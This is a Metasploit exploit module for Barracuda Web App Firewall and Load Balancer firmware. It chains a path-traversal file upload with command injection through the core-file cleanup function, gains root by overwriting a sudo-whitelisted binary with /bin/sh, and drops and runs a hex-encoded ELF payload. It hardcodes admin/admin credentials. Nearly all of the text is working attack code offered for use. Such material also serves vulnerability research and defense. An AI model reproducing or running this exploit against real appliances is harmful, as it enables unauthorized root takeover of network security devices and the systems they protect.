# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)
# Date: 07/25/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.007 (2016-01-07)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# CVE : None.

# This exploit combines 2 bugs to leverage root access
# Vuln 1: ondefined_view_template trigger    - File upload vuln
# Vuln 2: ondefined_remove_corefiles trigger - Command injection vuln (from loaded file data)

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)',
                        'Description'    => %q{
                                        This module exploits a remote command execution vulnerability in
                                the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
                                by exploiting a two vulnerabilities in the web administration interface. The first bug leverages a Arbitrary File
				Upload vulnerability to create a malicious file containing shell commands before using a second bug meant to clean
				up left-over core files on the device to execute them. By sending a specially crafted requests
                                it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
                        },
	
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
                                [
                                        ['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                                                }
                                        ],

                                        ['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
                                                }
                                        ],
                                ],
	
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

		# file to overwrite
		cmd_file = "/home/product/code/config/corefile_list.txt"

 		# file to replace
		sudo_cmd_exec = target['SudoCmdExec']

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "BASIC" ],
		[ "realm","" ],
		[ "secondary_tab","reports" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],
		
		[ "upload_template_file_filename", "admin" ]
		]

		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end

		# upload file
		up_filename = cmd_file
	        post_data << "--#{boundary}\r\n"
	        post_data << "Content-Disposition: form-data; name=\"upload_template_file\"; filename=\"../#{up_filename}\"\r\n\r\n"
		post_data << ";#{injection_string};\r\n"

	        # end data
	        post_data << "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"view_template\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

		# upload file vuln
	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
				'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language' => "en-US,en;q=0.5"
			}
	        })	

		post_data = ""

                exploitreq.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end

		# triger vuln 
	        post_data <<  "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"remove_corefiles\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

                # upload file vuln
                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-mod/index.cgi",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                                'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                                'Accept-Language' => "en-US,en;q=0.5"
                        }
                })



	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		

		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        handler
                end


	end

end